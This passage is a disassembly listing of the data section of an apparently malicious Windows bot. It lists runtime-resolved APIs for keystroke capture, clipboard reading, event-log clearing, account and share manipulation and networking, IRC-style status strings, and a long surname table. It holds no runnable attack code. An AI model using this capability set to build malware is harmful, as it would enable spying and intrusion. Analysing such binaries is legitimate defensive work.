'SQLSetEnvAttr',0 ; DATA XREF: sub_409B12+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B12:loc_40A6DEo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B12+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409B12+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B12:loc_40A694o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B12:loc_40A620o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B12+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B12:loc_40A5D6o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o align 10h aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B12:loc_40A58Co align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B12+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo ; sub_4185A4+65o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B12+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B12+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B12+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B12+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B12+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B12+984o align 10h aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B12+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B12+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B12:loc_40A470o ; sub_4185A4+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B12+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B12+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B12+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B12:loc_40A411o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o align 10h aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B12+82Co align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B12:loc_40A2F1o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B12+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B12+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B12+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B12+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409B12+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B12+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B12+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_409B12+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_409B12+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_409B12+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_409B12+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B12+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409B12+60Ao align 10h aSendto db 'sendto',0 ; DATA XREF: sub_409B12+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409B12+5E3o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_409B12+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409B12+5C9o align 10h aHtons db 'htons',0 ; DATA XREF: sub_409B12+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B12+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B12+5A2o align 10h aConnect db 'connect',0 ; DATA XREF: sub_409B12+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B12+588o aSocket db 'socket',0 ; DATA XREF: sub_409B12+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B12+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B12+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B12+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B12+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B12+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B12+52Do align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B12+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B12+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B12+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B12+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B12+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B12+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B12+460o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B12+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B12:loc_409F3Fo align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B12:loc_409F17o align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B12+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409B12+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B12+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B12+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B12:loc_409E69o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B12+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B12+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B12+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B12+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B12+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B12+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B12+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B12:loc_409D71o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B12+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B12+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B12+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B12+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B12+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B12+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B12+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B12+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B12+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B12:loc_409C47o ; sub_424D78+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B12+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B12+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409B12+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B12+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B12+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B12+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B12+Ao align 4 unk_42D364 db 2Dh ; - ; DATA XREF: sub_40A7CE+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo align 10h aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co align 10h aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o align 10h aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o align 10h a_: ; DATA XREF: sub_40F96A+252o unicode 0, <.>,0 unk_42D4F4 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABF0o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_42D524 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABBEo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_42D554 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40AB8Ao db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D578 db 2Dh ; - ; DATA XREF: sub_40AB31+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC0F+46o ; sub_40BFEB+38o aReal db 'real',0 align 4 dd 0 dword_42D5BC dd 0 ; DATA XREF: sub_40B08D+7o off_42D5C0 dd offset sub_40ACB5 ; DATA XREF: sub_40B08D+49r aConst db 'const',0 align 10h dd 1, 40AD22h, 7474656Ch, 7265h, 0 dd 2, 40AD80h, 706D6F63h, 2 dup(0) dd 3, 40ADCDh, 6E756F63h, 797274h, 0 dd 4, 40AE6Bh, 736Fh, 2 dup(0) dd 5, 40AEE0h off_42D628 dd offset aAbdulrazak ; DATA XREF: sub_40ACB5+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D634 dd offset aAddison ; DATA XREF: sub_40B08D+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset 